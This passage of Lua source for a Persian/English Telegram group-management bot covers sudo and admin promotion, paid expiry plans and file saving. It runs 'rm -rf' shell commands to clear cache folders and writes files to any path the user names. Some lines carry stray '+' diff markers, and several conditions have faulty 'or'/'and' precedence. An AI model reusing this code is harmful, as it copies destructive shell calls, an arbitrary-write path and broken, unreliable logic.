i = 1
local data = load_data(_config.moderation.data)
local groups = 'groups'
if not data[tostring(groups)] then
return 'No groups at the moment'
end
local message = 'List of Groups:\n*Use #join (ID) to join*\n\n'
for k,v in pairsByKeys(data[tostring(groups)]) do
local group_id = v
if data[tostring(group_id)] then
settings = data[tostring(group_id)]['settings']
end
for m,n in pairsByKeys(settings) do
if m == 'set_name' then
name = n:gsub("", "")
chat_name = name:gsub("", "")
group_name_id = name .. '\n(ID: ' ..group_id.. ')\n\n'
if name:match("[\216-\219][\128-\191]") then
group_info = i..' - \n'..group_name_id
else
group_info = i..' - '..group_name_id
end
i = i + 1
end
end
message = message..group_info
end
return message
end
local function botrem(msg)
local data = load_data(_config.moderation.data)
data[tostring(msg.to.id)] = nil
save_data(_config.moderation.data, data)
local groups = 'groups'
if not data[tostring(groups)] then
data[tostring(groups)] = nil
save_data(_config.moderation.data, data)
end
data[tostring(groups)][tostring(msg.to.id)] = nil
save_data(_config.moderation.data, data)
if redis:get('ExpireDate:'..msg.to.id) then
redis:del('ExpireDate:'..msg.to.id)
end
tdcli.changeChatMemberStatus(msg.to.id, our_id, 'Left', dl_cb, nil)
end
local function warning(msg)
local hash = "gp_lang:"..msg.to.id
local lang = redis:get(hash)
local expiretime = redis:ttl('ExpireDate:'..msg.to.id)
if expiretime == -1 then
return
else
local d = math.floor(expiretime / 86400) + 1
if tonumber(d) == 1 and not is_sudo(msg) and is_mod(msg) then
if lang then
tdcli.sendMessage(msg.to.id, 0, 1, 'از شارژ گروه 1 روز باقی مانده، برای شارژ مجدد با سودو ربات تماس بگیرید وگرنه با اتمام زمان شارژ، گروه از لیست ربات حذف وربات گروه را ترک خواهد کرد.', 1, 'md')
else
tdcli.sendMessage(msg.to.id, 0, 1, '_Group 1 day remaining charge, to recharge the robot contact with the sudo. With the completion of charging time, the group removed from the robot list and the robot will leave the group._', 1, 'md')
end
end
end
end
local function action_by_reply(arg, data)
local cmd = arg.cmd
if not tonumber(data.sender_user_id_) then return false end
if data.sender_user_id_ then
if cmd == "adminprom" then
local function adminprom_cb(arg, data)
local hash = "gp_lang:"..arg.chat_id
local lang = redis:get(hash)
if data.username_ then
user_name = '@'..check_markdown(data.username_)
else
user_name = check_markdown(data.first_name_)
end
if is_admin1(tonumber(data.id_)) then
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is already an_ *admin*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از قبل ادمین ربات بود_", 0, "md")
end
end
table.insert(_config.admins, {tonumber(data.id_), user_name})
save_config()
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _has been promoted as_ *admin*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _به مقام ادمین ربات منتصب شد_", 0, "md")
end
end
tdcli_function ({
ID = "GetUser",
user_id_ = data.sender_user_id_
}, adminprom_cb, {chat_id=data.chat_id_,user_id=data.sender_user_id_})
end
if cmd == "admindem" then
local function admindem_cb(arg, data)
local hash = "gp_lang:"..arg.chat_id
local lang = redis:get(hash)
local nameid = index_function(tonumber(data.id_))
if data.username_ then
user_name = '@'..check_markdown(data.username_)
else
user_name = check_markdown(data.first_name_)
end
if not is_admin1(data.id_) then
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is not a_ *admin*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از قبل ادمین ربات نبود_", 0, "md")
end
end
table.remove(_config.admins, nameid)
save_config()
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _has been demoted from_ *admin*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از مقام ادمین ربات برکنار شد_", 0, "md")
end
end
tdcli_function ({
ID = "GetUser",
user_id_ = data.sender_user_id_
}, admindem_cb, {chat_id=data.chat_id_,user_id=data.sender_user_id_})
end
if cmd == "visudo" then
local function visudo_cb(arg, data)
local hash = "gp_lang:"..arg.chat_id
local lang = redis:get(hash)
if data.username_ then
user_name = '@'..check_markdown(data.username_)
else
user_name = check_markdown(data.first_name_)
end
if already_sudo(tonumber(data.id_)) then
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is already a_ *sudoer*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از قبل سودو ربات بود_", 0, "md")
end
end
table.insert(_config.sudo_users, tonumber(data.id_))
save_config()
reload_plugins(true)
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is now_ *sudoer*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _به مقام سودو ربات منتصب شد_", 0, "md")
end
end
tdcli_function ({
ID = "GetUser",
user_id_ = data.sender_user_id_
}, visudo_cb, {chat_id=data.chat_id_,user_id=data.sender_user_id_})
end
if cmd == "desudo" then
local function desudo_cb(arg, data)
local hash = "gp_lang:"..arg.chat_id
local lang = redis:get(hash)
if data.username_ then
user_name = '@'..check_markdown(data.username_)
else
user_name = check_markdown(data.first_name_)
end
if not already_sudo(data.id_) then
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is not a_ *sudoer*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از قبل سودو ربات نبود_", 0, "md")
end
end
table.remove(_config.sudo_users, getindex( _config.sudo_users, tonumber(data.id_)))
save_config()
reload_plugins(true)
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is no longer a_ *sudoer*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از مقام سودو ربات برکنار شد_", 0, "md")
end
end
tdcli_function ({
ID = "GetUser",
user_id_ = data.sender_user_id_
}, desudo_cb, {chat_id=data.chat_id_,user_id=data.sender_user_id_})
end
else
if lang then
return tdcli.sendMessage(data.chat_id_, "", 0, "_کاربر یافت نشد_", 0, "md")
else
return tdcli.sendMessage(data.chat_id_, "", 0, "*User Not Found*", 0, "md")
end
end
end
local function action_by_username(arg, data)
local hash = "gp_lang:"..arg.chat_id
local lang = redis:get(hash)
local cmd = arg.cmd
if not arg.username then return false end
if data.id_ then
if data.type_.user_.username_ then
user_name = '@'..check_markdown(data.type_.user_.username_)
else
user_name = check_markdown(data.title_)
end
if cmd == "adminprom" then
if is_admin1(tonumber(data.id_)) then
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is already an_ *admin*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از قبل ادمین ربات بود_", 0, "md")
end
end
table.insert(_config.admins, {tonumber(data.id_), user_name})
save_config()
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _has been promoted as_ *admin*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _به مقام ادمین ربات منتصب شد_", 0, "md")
end
end
if cmd == "admindem" then
local nameid = index_function(tonumber(data.id_))
if not is_admin1(data.id_) then
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is not a_ *admin*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از قبل ادمین ربات نبود_", 0, "md")
end
end
table.remove(_config.admins, nameid)
save_config()
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _has been demoted from_ *admin*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از مقام ادمین ربات برکنار شد_", 0, "md")
end
end
if cmd == "visudo" then
if already_sudo(tonumber(data.id_)) then
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is already a_ *sudoer*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از قبل سودو ربات بود_", 0, "md")
end
end
table.insert(_config.sudo_users, tonumber(data.id_))
save_config()
reload_plugins(true)
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is now_ *sudoer*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _به مقام سودو ربات منتصب شد_", 0, "md")
end
end
if cmd == "desudo" then
if not already_sudo(data.id_) then
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is not a_ *sudoer*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از قبل سودو ربات نبود_", 0, "md")
end
end
table.remove(_config.sudo_users, getindex( _config.sudo_users, tonumber(data.id_)))
save_config()
reload_plugins(true)
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is no longer a_ *sudoer*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از مقام سودو ربات برکنار شد_", 0, "md")
end
end
else
if lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر یافت نشد_", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "*User Not Found*", 0, "md")
end
end
end
local function action_by_id(arg, data)
local hash = "gp_lang:"..arg.chat_id
local lang = redis:get(hash)
local cmd = arg.cmd
if not tonumber(arg.user_id) then return false end
if data.id_ then
if data.username_ then
user_name = '@'..check_markdown(data.username_)
else
user_name = check_markdown(data.first_name_)
end
if cmd == "adminprom" then
if is_admin1(tonumber(data.id_)) then
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is already an_ *admin*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از قبل ادمین ربات بود_", 0, "md")
end
end
table.insert(_config.admins, {tonumber(data.id_), user_name})
save_config()
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _has been promoted as_ *admin*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _به مقام ادمین ربات منتصب شد_", 0, "md")
end
end
if cmd == "admindem" then
local nameid = index_function(tonumber(data.id_))
if not is_admin1(data.id_) then
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is not a_ *admin*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از قبل ادمین ربات نبود_", 0, "md")
end
end
table.remove(_config.admins, nameid)
save_config()
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _has been demoted from_ *admin*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از مقام ادمین ربات برکنار شد_", 0, "md")
end
end
if cmd == "visudo" then
if already_sudo(tonumber(data.id_)) then
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is already a_ *sudoer*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از قبل سودو ربات بود_", 0, "md")
end
end
table.insert(_config.sudo_users, tonumber(data.id_))
save_config()
reload_plugins(true)
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is now_ *sudoer*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _به مقام سودو ربات منتصب شد_", 0, "md")
end
end
if cmd == "desudo" then
if not already_sudo(data.id_) then
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is not a_ *sudoer*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از قبل سودو ربات نبود_", 0, "md")
end
end
table.remove(_config.sudo_users, getindex( _config.sudo_users, tonumber(data.id_)))
save_config()
reload_plugins(true)
if not lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_User_ "..user_name.." *"..data.id_.."* _is no longer a_ *sudoer*", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر_ "..user_name.." *"..data.id_.."* _از مقام سودو ربات برکنار شد_", 0, "md")
end
end
else
if lang then
return tdcli.sendMessage(arg.chat_id, "", 0, "_کاربر یافت نشد_", 0, "md")
else
return tdcli.sendMessage(arg.chat_id, "", 0, "*User Not Found*", 0, "md")
end
end
end
local function pre_process(msg)
if msg.to.type ~= 'pv' then
local hash = "gp_lang:"..msg.to.id
local lang = redis:get(hash)
local data = load_data(_config.moderation.data)
local gpst = data[tostring(msg.to.id)]
local chex = redis:get('CheckExpire::'..msg.to.id)
local exd = redis:get('ExpireDate:'..msg.to.id)
if gpst and not chex and msg.from.id ~= SUDO and not is_sudo(msg) then
redis:set('CheckExpire::'..msg.to.id,true)
redis:set('ExpireDate:'..msg.to.id,true)
redis:setex('ExpireDate:'..msg.to.id, 86400, true)
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_گروه به مدت 1 روز شارژ شد. لطفا با سودو برای شارژ بیشتر تماس بگیرید. در غیر اینصورت گروه شما از لیست ربات حذف و ربات گروه را ترک خواهد کرد._', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_Group charged 1 day. to recharge the robot contact with the sudo. With the completion of charging time, the group removed from the robot list and the robot will leave the group._', 1, 'md')
end
end
if chex and not exd and msg.from.id ~= SUDO and not is_sudo(msg) then
local text1 = 'شارژ این گروه به اتمام رسید \n\nID: <code>'..msg.to.id..'</code>\n\nدر صورتی که میخواهید ربات این گروه را ترک کند از دستور زیر استفاده کنید\n\n/leave '..msg.to.id..'\nبرای جوین دادن توی این گروه میتونی از دستور زیر استفاده کنی:\n/jointo '..msg.to.id..'\n_________________\nدر صورتی که میخواهید گروه رو دوباره شارژ کنید میتوانید از کد های زیر استفاده کنید...\n\n<b>برای شارژ 1 ماهه:</b>\n/plan 1 '..msg.to.id..'\n\n<b>برای شارژ 3 ماهه:</b>\n/plan 2 '..msg.to.id..'\n\n<b>برای شارژ نامحدود:</b>\n/plan 3 '..msg.to.id
local text2 = '_شارژ این گروه به پایان رسید. به دلیل عدم شارژ مجدد، گروه از لیست ربات حذف و ربات از گروه خارج میشود._'
local text3 = '_Charging finished._\n\n*Group ID:*\n\n*ID:* `'..msg.to.id..'`\n\n*If you want the robot to leave this group use the following command:*\n\n`/Leave '..msg.to.id..'`\n\n*For Join to this group, you can use the following command:*\n\n`/Jointo '..msg.to.id..'`\n\n_________________\n\n_If you want to recharge the group can use the following code:_\n\n*To charge 1 month:*\n\n`/Plan 1 '..msg.to.id..'`\n\n*To charge 3 months:*\n\n`/Plan 2 '..msg.to.id..'`\n\n*For unlimited charge:*\n\n`/Plan 3 '..msg.to.id..'`'
local text4 = '_Charging finished. Due to lack of recharge remove the group from the robot list and the robot leave the group._'
if lang then
tdcli.sendMessage(SUDO, 0, 1, text1, 1, 'html')
tdcli.sendMessage(msg.to.id, 0, 1, text2, 1, 'md')
else
tdcli.sendMessage(SUDO, 0, 1, text3, 1, 'md')
tdcli.sendMessage(msg.to.id, 0, 1, text4, 1, 'md')
end
botrem(msg)
else
local expiretime = redis:ttl('ExpireDate:'..msg.to.id)
+ local day = (expiretime / 86400)
+ if tonumber(day) > 0.208 and not is_sudo(msg) and is_mod(msg) then
warning(msg)
end
end
end
local function run(msg, matches)
local hash = "gp_lang:"..msg.to.id
local lang = redis:get(hash)
if tonumber(msg.from.id) == SUDO then
if matches[1] == "clear cache" or matches[1] == "حذف کش" then
run_bash("rm -rf ~/.telegram-cli/data/sticker/*")
run_bash("rm -rf ~/.telegram-cli/data/photo/*")
run_bash("rm -rf ~/.telegram-cli/data/animation/*")
run_bash("rm -rf ~/.telegram-cli/data/video/*")
run_bash("rm -rf ~/.telegram-cli/data/audio/*")
run_bash("rm -rf ~/.telegram-cli/data/voice/*")
run_bash("rm -rf ~/.telegram-cli/data/temp/*")
run_bash("rm -rf ~/.telegram-cli/data/thumb/*")
run_bash("rm -rf ~/.telegram-cli/data/document/*")
run_bash("rm -rf ~/.telegram-cli/data/profile_photo/*")
run_bash("rm -rf ~/.telegram-cli/data/encrypted/*")
return "*All Cache Has Been Cleared*"
end
if matches[1] == "visudo" or matches[1] == "تنظیم سودو" then
if not matches[2] and msg.reply_id then
tdcli_function ({
ID = "GetMessage",
chat_id_ = msg.to.id,
message_id_ = msg.reply_id
}, action_by_reply, {chat_id=msg.to.id,cmd="visudo"})
end
if matches[2] and string.match(matches[2], '^%d+$') then
tdcli_function ({
ID = "GetUser",
user_id_ = matches[2],
}, action_by_id, {chat_id=msg.to.id,user_id=matches[2],cmd="visudo"})
end
if matches[2] and not string.match(matches[2], '^%d+$') then
tdcli_function ({
ID = "SearchPublicChat",
username_ = matches[2]
}, action_by_username, {chat_id=msg.to.id,username=matches[2],cmd="visudo"})
end
end
if matches[1] == "desudo" or matches[1] == "حذف سودو" then
if not matches[2] and msg.reply_id then
tdcli_function ({
ID = "GetMessage",
chat_id_ = msg.to.id,
message_id_ = msg.reply_id
}, action_by_reply, {chat_id=msg.to.id,cmd="desudo"})
end
if matches[2] and string.match(matches[2], '^%d+$') then
tdcli_function ({
ID = "GetUser",
user_id_ = matches[2],
}, action_by_id, {chat_id=msg.to.id,user_id=matches[2],cmd="desudo"})
end
if matches[2] and not string.match(matches[2], '^%d+$') then
tdcli_function ({
ID = "SearchPublicChat",
username_ = matches[2]
}, action_by_username, {chat_id=msg.to.id,username=matches[2],cmd="desudo"})
end
end
end
if is_sudo(msg) then
if matches[1]:lower() == 'add' or matches[1]:lower() == 'اضافه' and not redis:get('ExpireDate:'..msg.to.id) then
redis:set('ExpireDate:'..msg.to.id,true)
redis:setex('ExpireDate:'..msg.to.id, 180, true)
if not redis:get('CheckExpire::'..msg.to.id) then
redis:set('CheckExpire::'..msg.to.id,true)
end
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_گروه به مدت 3 دقیقه برای اجرای تنظیمات شارژ میباشد._', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_Group charged 3 minutes for settings._', 1, 'md')
end
end
if matches[1] == 'rem' or matches[1] == 'حذف' then
if redis:get('CheckExpire::'..msg.to.id) then
+ redis:del('CheckExpire::'..msg.to.id)
+ end
redis:del('ExpireDate:'..msg.to.id)
end
if matches[1]:lower() == 'gid' or matches[1]:lower() == 'ایدی گروه' then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '`'..msg.to.id..'`', 1,'md')
end
if matches[1] == 'leave' or matches[1] == 'خروج' and matches[2] then
if lang then
tdcli.sendMessage(matches[2], 0, 1, 'ربات با دستور سودو از گروه خارج شد.\nبرای اطلاعات بیشتر با سودو تماس بگیرید.', 1, 'md')
tdcli.changeChatMemberStatus(matches[2], our_id, 'Left', dl_cb, nil)
tdcli.sendMessage(SUDO, msg.id_, 1, 'ربات با موفقیت از گروه '..matches[2]..' خارج شد.', 1,'md')
else
tdcli.sendMessage(matches[2], 0, 1, '_Robot left the group._\n*For more information contact The SUDO.*', 1, 'md')
tdcli.changeChatMemberStatus(matches[2], our_id, 'Left', dl_cb, nil)
tdcli.sendMessage(SUDO, msg.id_, 1, '*Robot left from under group successfully:*\n\n`'..matches[2]..'`', 1,'md')
end
end
if matches[1]:lower() == 'charge' or matches[1]:lower() == 'شارژ' and matches[2] and matches[3] then
if string.match(matches[2], '^-%d+$') then
if tonumber(matches[3]) > 0 and tonumber(matches[3]) < 1001 then
local extime = (tonumber(matches[3]) * 86400)
redis:setex('ExpireDate:'..matches[2], extime, true)
if not redis:get('CheckExpire::'..msg.to.id) then
redis:set('CheckExpire::'..msg.to.id,true)
end
if lang then
tdcli.sendMessage(SUDO, 0, 1, 'ربات در گروه '..matches[2]..' به مدت '..matches[3]..' روز تمدید گردید.', 1, 'md')
tdcli.sendMessage(matches[2], 0, 1, 'ربات توسط ادمین به مدت `'..matches[3]..'` روز شارژ شد\nبرای مشاهده زمان شارژ گروه دستور /check استفاده کنید...',1 , 'md')
else
tdcli.sendMessage(SUDO, 0, 1, '*Recharged successfully in the group:* `'..matches[2]..'`\n_Expire Date:_ `'..matches[3]..'` *Day(s)*', 1, 'md')
tdcli.sendMessage(matches[2], 0, 1, '*Robot recharged* `'..matches[3]..'` *day(s)*\n*For checking expire date, send* `/check`',1 , 'md')
end
else
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_تعداد روزها باید عددی از 1 تا 1000 باشد._', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_Expire days must be between 1 - 1000_', 1, 'md')
end
end
end
end
if matches[1]:lower() == 'plan' or matches[1]:lower() == 'پلن' and matches[2] == '1' and matches[3] then
if string.match(matches[3], '^-%d+$') then
local timeplan1 = 2592000
redis:setex('ExpireDate:'..matches[3], timeplan1, true)
if not redis:get('CheckExpire::'..msg.to.id) then
redis:set('CheckExpire::'..msg.to.id,true)
end
if lang then
tdcli.sendMessage(SUDO, msg.id_, 1, 'پلن 1 با موفقیت برای گروه '..matches[3]..' فعال شد\nاین گروه تا 30 روز دیگر اعتبار دارد! ( 1 ماه )', 1, 'md')
tdcli.sendMessage(matches[3], 0, 1, '_ربات با موفقیت فعال شد و تا 30 روز دیگر اعتبار دارد!_', 1, 'md')
else
tdcli.sendMessage(SUDO, msg.id_, 1, '*Plan 1 Successfully Activated!\nThis group recharged with plan 1 for 30 days (1 Month)*', 1, 'md')
tdcli.sendMessage(matches[3], 0, 1, '*Successfully recharged*\n*Expire Date:* `30` *Days (1 Month)*', 1, 'md')
end
end
end
if matches[1]:lower() == 'plan' or matches[1]:lower() == 'پلن' and matches[2] == '2' and matches[3] then
if string.match(matches[3], '^-%d+$') then
local timeplan2 = 7776000
redis:setex('ExpireDate:'..matches[3],timeplan2,true)
if not redis:get('CheckExpire::'..msg.to.id) then
redis:set('CheckExpire::'..msg.to.id,true)
end
if lang then
tdcli.sendMessage(SUDO, 0, 1, 'پلن 2 با موفقیت برای گروه '..matches[3]..' فعال شد\nاین گروه تا 90 روز دیگر اعتبار دارد! ( 3 ماه )', 1, 'md')
tdcli.sendMessage(matches[3], 0, 1, 'ربات با موفقیت فعال شد و تا 90 روز دیگر اعتبار دارد! ( 3 ماه )', 1, 'md')
else
tdcli.sendMessage(SUDO, msg.id_, 1, '*Plan 2 Successfully Activated!\nThis group recharged with plan 2 for 90 days (3 Month)*', 1, 'md')
tdcli.sendMessage(matches[3], 0, 1, '*Successfully recharged*\n*Expire Date:* `90` *Days (3 Months)*', 1, 'md')
end
end
end
if matches[1]:lower() == 'plan' or matches[1]:lower() == 'پلن' and matches[2] == '3' and matches[3] then
if string.match(matches[3], '^-%d+$') then
redis:set('ExpireDate:'..matches[3],true)
if not redis:get('CheckExpire::'..msg.to.id) then
redis:set('CheckExpire::'..msg.to.id,true)
end
if lang then
tdcli.sendMessage(SUDO, msg.id_, 1, 'پلن 3 با موفقیت برای گروه '..matches[3]..' فعال شد\nاین گروه به صورت نامحدود شارژ شد!', 1, 'md')
tdcli.sendMessage(matches[3], 0, 1, 'ربات بدون محدودیت فعال شد ! ( نامحدود )', 1, 'md')
else
tdcli.sendMessage(SUDO, msg.id_, 1, '*Plan 3 Successfully Activated!\nThis group recharged with plan 3 for unlimited*', 1, 'md')
tdcli.sendMessage(matches[3], 0, 1, '*Successfully recharged*\n*Expire Date:* `Unlimited`', 1, 'md')
end
end
end
if matches[1]:lower() == 'jointo' or matches[1]:lower() == 'اددم کن به' and matches[2] then
if string.match(matches[2], '^-%d+$') then
if lang then
tdcli.sendMessage(SUDO, msg.id_, 1, 'با موفقیت تورو به گروه '..matches[2]..' اضافه کردم.', 1, 'md')
tdcli.addChatMember(matches[2], SUDO, 0, dl_cb, nil)
tdcli.sendMessage(matches[2], 0, 1, '_سودو به گروه اضافه شد._', 1, 'md')
else
tdcli.sendMessage(SUDO, msg.id_, 1, '*I added you to this group:*\n\n`'..matches[2]..'`', 1, 'md')
tdcli.addChatMember(matches[2], SUDO, 0, dl_cb, nil)
tdcli.sendMessage(matches[2], 0, 1, 'Admin Joined!', 1, 'md')
end
end
end
end
if matches[1]:lower() == 'savefile' or matches[1]:lower() == 'ذخیره فایل' and matches[2] and is_sudo(msg) then
if msg.reply_id then
local folder = matches[2]
function get_filemsg(arg, data)
function get_fileinfo(arg,data)
if data.content_.ID == 'MessageDocument' or data.content_.ID == 'MessagePhoto' or data.content_.ID == 'MessageSticker' or data.content_.ID == 'MessageAudio' or data.content_.ID == 'MessageVoice' or data.content_.ID == 'MessageVideo' or data.content_.ID == 'MessageAnimation' then
if data.content_.ID == 'MessageDocument' then
local doc_id = data.content_.document_.document_.id_
local filename = data.content_.document_.file_name_
local pathf = tcpath..'/data/document/'..filename
local cpath = tcpath..'/data/document'
if file_exi(filename, cpath) then
local pfile = folder
os.rename(pathf, pfile)
file_dl(doc_id)
if lang then
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>فایل</b> <code>'..folder..'</code> <b>ذخیره شد.</b>', 1, 'html')
else
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>File</b> <code>'..folder..'</code> <b>Has Been Saved.</b>', 1, 'html')
end
else
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_فایل مورد نظر وجود ندارد. فایل را دوباره ارسال کنید._', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_This file does not exist. Send file again._', 1, 'md')
end
end
end
if data.content_.ID == 'MessagePhoto' then
local photo_id = data.content_.photo_.sizes_[2].photo_.id_
local file = data.content_.photo_.id_
local pathf = tcpath..'/data/photo/'..file..'_(1).jpg'
local cpath = tcpath..'/data/photo'
if file_exi(file..'_(1).jpg', cpath) then
local pfile = folder
os.rename(pathf, pfile)
file_dl(photo_id)
if lang then
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>عکس</b> <code>'..folder..'</code> <b>ذخیره شد.</b>', 1, 'html')
else
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>Photo</b> <code>'..folder..'</code> <b>Has Been Saved.</b>', 1, 'html')
end
else
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_فایل مورد نظر وجود ندارد. فایل را دوباره ارسال کنید._', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_This file does not exist. Send file again._', 1, 'md')
end
end
end
if data.content_.ID == 'MessageSticker' then
local stpath = data.content_.sticker_.sticker_.path_
local sticker_id = data.content_.sticker_.sticker_.id_
local secp = tostring(tcpath)..'/data/sticker/'
local ffile = string.gsub(stpath, '-', '')
local fsecp = string.gsub(secp, '-', '')
local name = string.gsub(ffile, fsecp, '')
if file_exi(name, secp) then
local pfile = folder
os.rename(stpath, pfile)
file_dl(sticker_id)
if lang then
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>استیکر</b> <code>'..folder..'</code> <b>ذخیره شد.</b>', 1, 'html')
else
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>Sticker</b> <code>'..folder..'</code> <b>Has Been Saved.</b>', 1, 'html')
end
else
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_فایل مورد نظر وجود ندارد. فایل را دوباره ارسال کنید._', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_This file does not exist. Send file again._', 1, 'md')
end
end
end
if data.content_.ID == 'MessageAudio' then
local audio_id = data.content_.audio_.audio_.id_
local audio_name = data.content_.audio_.file_name_
local pathf = tcpath..'/data/audio/'..audio_name
local cpath = tcpath..'/data/audio'
if file_exi(audio_name, cpath) then
local pfile = folder
os.rename(pathf, pfile)
file_dl(audio_id)
if lang then
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>صدای</b> <code>'..folder..'</code> <b>ذخیره شد.</b>', 1, 'html')
else
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>Audio</b> <code>'..folder..'</code> <b>Has Been Saved.</b>', 1, 'html')
end
else
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_فایل مورد نظر وجود ندارد. فایل را دوباره ارسال کنید._', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_This file does not exist. Send file again._', 1, 'md')
end
end
end
if data.content_.ID == 'MessageVoice' then
local voice_id = data.content_.voice_.voice_.id_
local file = data.content_.voice_.voice_.path_
local secp = tostring(tcpath)..'/data/voice/'
local ffile = string.gsub(file, '-', '')
local fsecp = string.gsub(secp, '-', '')
local name = string.gsub(ffile, fsecp, '')
if file_exi(name, secp) then
local pfile = folder
